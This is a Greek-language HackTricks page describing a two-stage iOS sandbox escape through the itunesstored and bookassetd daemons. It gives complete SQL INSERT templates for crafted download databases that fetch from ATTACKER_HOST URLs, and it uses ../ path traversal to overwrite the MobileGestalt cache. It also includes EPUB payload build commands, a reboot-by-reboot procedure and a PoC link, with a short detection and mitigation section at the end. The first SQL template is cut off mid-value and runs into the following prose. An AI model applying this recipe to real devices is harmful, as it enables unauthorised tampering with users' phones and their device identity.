itunesstored & bookassetd Sandbox Escape
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
Πρόσφατη έρευνα δείχνει ότι δύο προεγκατεστημένα iOS daemons, itunesstored (downloads manager) και bookassetd (Books / iBooks asset manager), εμπιστεύονται χωρίς έλεγχο μεταδεδομένα SQLite που μπορούν να τροποποιηθούν από τον χρήστη. Με την τοποθέτηση κατασκευασμένων αρχείων downloads.28.sqlitedb και BLDatabaseManager.sqlite μαζί με ένα ελάχιστο EPUB archive, ένας επιτιθέμενος που μπορεί να γράψει κάτω από /var/mobile/Media/ μπορεί να εξαναγκάσει αυτά τα daemons σε αρχεία εγγραφής προς αυθαίρετες τοποθεσίες σε περισσότερα paths που ανήκουν στο mobile μέσα στο /private/var/. Τα primitives επιβιώνουν μετά από επανεκκινήσεις και σας επιτρέπουν να επεξεργαστείτε caches του system group όπως systemgroup.com.apple.mobilegestaltcache για να παραπλανήσετε ιδιότητες της συσκευής ή να επιμείνετε ρυθμίσεις.
Κύρια χαρακτηριστικά:
- Λειτουργεί σε συσκευές έως τουλάχιστον iOS 26.2b1 (δοκιμάστηκε σε iPhone 12 / iOS 26.0.1).
- Οι εγγράψιμοι στόχοι περιλαμβάνουν caches
SystemGroup,/private/var/mobile/Library/FairPlay,/private/var/mobile/Media, και άλλα αρχεία που ανήκουν στοmobile. Οι εγγραφές σε αρχεία που ανήκουν στοrootαποτυγχάνουν. - Απαιτεί μόνο πρόσβαση σε επίπεδο AFC (αντιγραφή αρχείων μέσω USB) ή οποιοδήποτε foothold που σας επιτρέπει να αντικαταστήσετε τις στοχοθετούμενες SQLite DBs και να ανεβάσετε payloads.
Μοντέλο Απειλής & Απαιτήσεις
- Τοπική πρόσβαση στο σύστημα αρχείων προς
/var/mobile/Media/Downloads/και/var/mobile/Media/Books/(μέσω AFC clients όπως 3uTools, i4.cn, ήafcclientμέσω USB, ή οποιαδήποτε προηγούμενη παραβίαση). - HTTP server που φιλοξενεί αρχεία του attacker (
BLDatabaseManager.sqlite,iTunesMetadata.plist, crafted EPUB) εκτεθειμένα μέσω URLs όπωςhttps://ATTACKER_HOST/fileprovider.php?type=.... - Ικανότητα να επανεκκινήσετε τη συσκευή πολλαπλές φορές ώστε κάθε daemon να επαναφορτώσει τη βάση δεδομένων του.
- Γνώση του Books system-group UUID ώστε η εγγραφή του Stage 1 να προσγειωθεί στο σωστό container (βρίσκεται μέσω syslog).
Stage 1 – Abusing downloads.28.sqlitedb via itunesstored
itunesstored επεξεργάζεται το /var/mobile/Media/Downloads/downloads.28.sqlitedb. Ο πίνακας asset αποθηκεύει URL + προορισμό μεταδεδομένων και θεωρείται αξιόπιστη είσοδος. Η δημιουργία μίας γραμμής που δείχνει σε attacker URL και ορίζει το local_path σε .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite μέσα στο Books SystemGroup αναγκάζει το itunesstored να κατεβάσει και να αντικαταστήσει τη βάση δεδομένων των Books με το περιεχόμενο του attacker κατά την εκκίνηση.
Εντοπισμός του Books SystemGroup UUID
- Συλλέξτε ένα αρχείο syslog με
pymobiledevice3:
pymobiledevice3 syslog collect logs.logarchive
- Ανοίξτε το
logs.logarchiveστο Console.app και αναζητήστεbookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite. - Καταγράψτε
<UUID>και αντικαταστήστε το στο SQL payload.
Κακόβουλη asset row
Stage 1 INSERT template
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/Πεδία που έχουν σημασία:
url: attacker-controlled endpoint returning the maliciousBLDatabaseManager.sqlite.local_path: το αρχείο system-group BooksBLDatabaseManager.sqliteπου προσδιορίστηκε παραπάνω.- Σημαίες ελέγχου: διατήρησε τις προεπιλογές (
asset_type='media',path_extension='epub', booleans σε 0/1 όπως στο πρότυπο) ώστε ο daemon να αποδεχτεί την εργασία.
Ανάπτυξη
- Διαγράψτε παλιές εγγραφές
/var/mobile/Media/Downloads/*για να αποφευχθούν καταστάσεις ανταγωνισμού. - Αντικαταστήστε το
downloads.28.sqlitedbμε τη crafted DB μέσω AFC. - Επανεκκίνηση →
itunesstoredκατεβάζει τη βάση δεδομένων Σταδίου 2 και αποθέτει το/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Αντιγράψτε εκείνο το plist στο
/var/mobile/Media/Books/iTunesMetadata.plist; το Στάδιο 2 το περιμένει σε αυτή τη θέση.
Στάδιο 2 – Κατάχρηση του BLDatabaseManager.sqlite μέσω του bookassetd
bookassetd έχει ευρύτερα filesystem entitlements και εμπιστεύεται τον πίνακα ZBLDOWNLOADINFO. Εισάγοντας μια ψεύτικη εγγραφή αγοράς που αναφέρεται σε attacker URLs και σε traversal στο ZPLISTPATH, ο daemon κατεβάζει το EPUB σας στο /var/mobile/Media/Books/asset.epub και στη συνέχεια αποσυμπιέζει μεταδεδομένα σε οποιοδήποτε mobile-owned path προσβάσιμο μέσω ακολουθιών διαφυγής ../../...
Κακόβουλη ZBLDOWNLOADINFO εγγραφή
Πρότυπο INSERT Σταδίου 2
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```Important fields:
ZASSETPATH: τοποθεσία EPUB στο δίσκο που ελέγχεται από τον επιτιθέμενο.ZURL/ZPERMLINK: διευθύνσεις URL επιτιθέμενου που φιλοξενούν το EPUB και το βοηθητικό plist.ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library– η path traversal base που προστίθεται στα αρχεία που εξάγονται από το EPUB. Προσαρμόστε το traversal depth για να φτάσετε το επιθυμητό SystemGroup target.- Purchase metadata (
ZSTOREIDENTIFIER, names, timestamps) μιμούνται νόμιμες εγγραφές ώστε το daemon να μην απορρίψει τη γραμμή.
After copying the malicious DB into /private/var/containers/Shared/SystemGroup/bookassetd will (1) download the EPUB, (2) process it and write the derived plist under the traversed path.
Κατασκευή του EPUB Payload
bookassetd ακολουθεί το EPUB ZIP format: mimetype πρέπει να είναι η πρώτη μη συμπιεσμένη εγγραφή. Για να αντιστοιχίσετε τα περιεχόμενα του EPUB στην cache του MobileGestalt, δημιουργήστε ένα δέντρο καταλόγων που αντικατοπτρίζει την επιθυμητή διαδρομή σε σχέση με το ZPLISTPATH.
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
Δημιουργήστε το αρχείο:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetypeσυνήθως περιέχει το literalapplication/epub+zip.Caches/com.apple.MobileGestalt.plistκρατάει το payload που ελέγχεται από τον επιτιθέμενο και που θα καταλήξει στο.../Library/Caches/com.apple.MobileGestalt.plist.
Ροή Ορχήστρωσης
- Ετοιμάστε αρχεία στον HTTP server του επιτιθέμενου και κατασκευάστε και τις δύο SQLite DBs με τιμές ειδικές για host/UUID.
- Αντικαταστήστε
downloads.28.sqlitedbστη συσκευή και κάντε επανεκκίνηση → Stage 1 κατεβάζει το κακόβουλοBLDatabaseManager.sqliteκαι παράγει/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Αντιγράψτε
iTunesMetadata.plistστο/var/mobile/Media/Books/iTunesMetadata.plist(επανάλαβε αν ο daemon το διαγράψει). - Επανεκκινήστε ξανά →
bookassetdκατεβάζειasset.epubστο/var/mobile/Media/Books/χρησιμοποιώντας τα metadata του Stage 2. - Επανεκκινήστε τρίτη φορά →
bookassetdεπεξεργάζεται το κατεβασμένο asset, ακολουθεί τοZPLISTPATH, και γράφει τα περιεχόμενα του EPUB στην στοχευμένη διαδρομή SystemGroup (π.χ.,com.apple.MobileGestalt.plist). - Επιβεβαιώστε διαβάζοντας το αντικατασταθέν plist ή παρατηρώντας ότι οι ιδιότητες που προέρχονται από MobileGestalt (model identifier, activation flags, κ.λπ.) αλλάζουν ανάλογα.
Το ίδιο μοτίβο σας επιτρέπει να τοποθετήσετε αρχεία κάτω από άλλες caches που ανήκουν στο mobile, όπως FairPlay state ή persistence directories, επιτρέποντας διακριτική αλλοίωση χωρίς να χρειάζεται kernel exploit.
Εργαλεία & Σημειώσεις Λειτουργίας
pymobiledevice3 syslog collect logs.logarchive– εξαγάγετε τα αρχεία καταγραφής για να εντοπίσετε το Books SystemGroup UUID.- Console.app – φιλτράρετε για
bookassetd [Database]: Store is at ...για να ανακτήσετε την ακριβή διαδρομή του container. - AFC clients (
afcclient, 3uTools, i4.cn) – push/pull SQLite DBs και αρχεία plist μέσω USB χωρίς jailbreak. zip– επιβάλετε τους περιορισμούς σειράς του EPUB κατά το πακετάρισμα payloads.- Public PoC – https://github.com/hanakim3945/bl_sbx περιλαμβάνει βασικά πρότυπα SQLite/EPUB που μπορείτε να προσαρμόσετε.
Ιδέες Ανίχνευσης & Αποτροπής
- Θεωρήστε
downloads.28.sqlitedbκαιBLDatabaseManager.sqliteως μη αξιόπιστη είσοδο: επαληθεύστε ότιlocal_path/ZPLISTPATHπαραμένουν εντός εγκεκριμένων sandboxes και απορρίψτε πλήρως καθορισμένες διαδρομές ή traversal tokens. - Παρακολουθήστε για AFC εγγραφές που αντικαθιστούν αυτές τις βάσεις δεδομένων ή για απρόσμενα downloads που ξεκινούν από
itunesstored/bookassetdαμέσως μετά το boot. - Ενισχύστε την αποσυσκευασία του
bookassetdώστε να καλείrealpath()για τον προορισμό εξόδου και διασφαλίστε ότι δεν μπορεί να διαφύγει από το Books container πριν γράψει αρχεία. - Περιορίστε τα κανάλια αντιγραφής αρχείων AFC / USB ή απαιτήστε αλληλεπίδραση χρήστη πριν επιτρέψετε την αντικατάσταση των αρχείων metadata των Books/iTunes.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

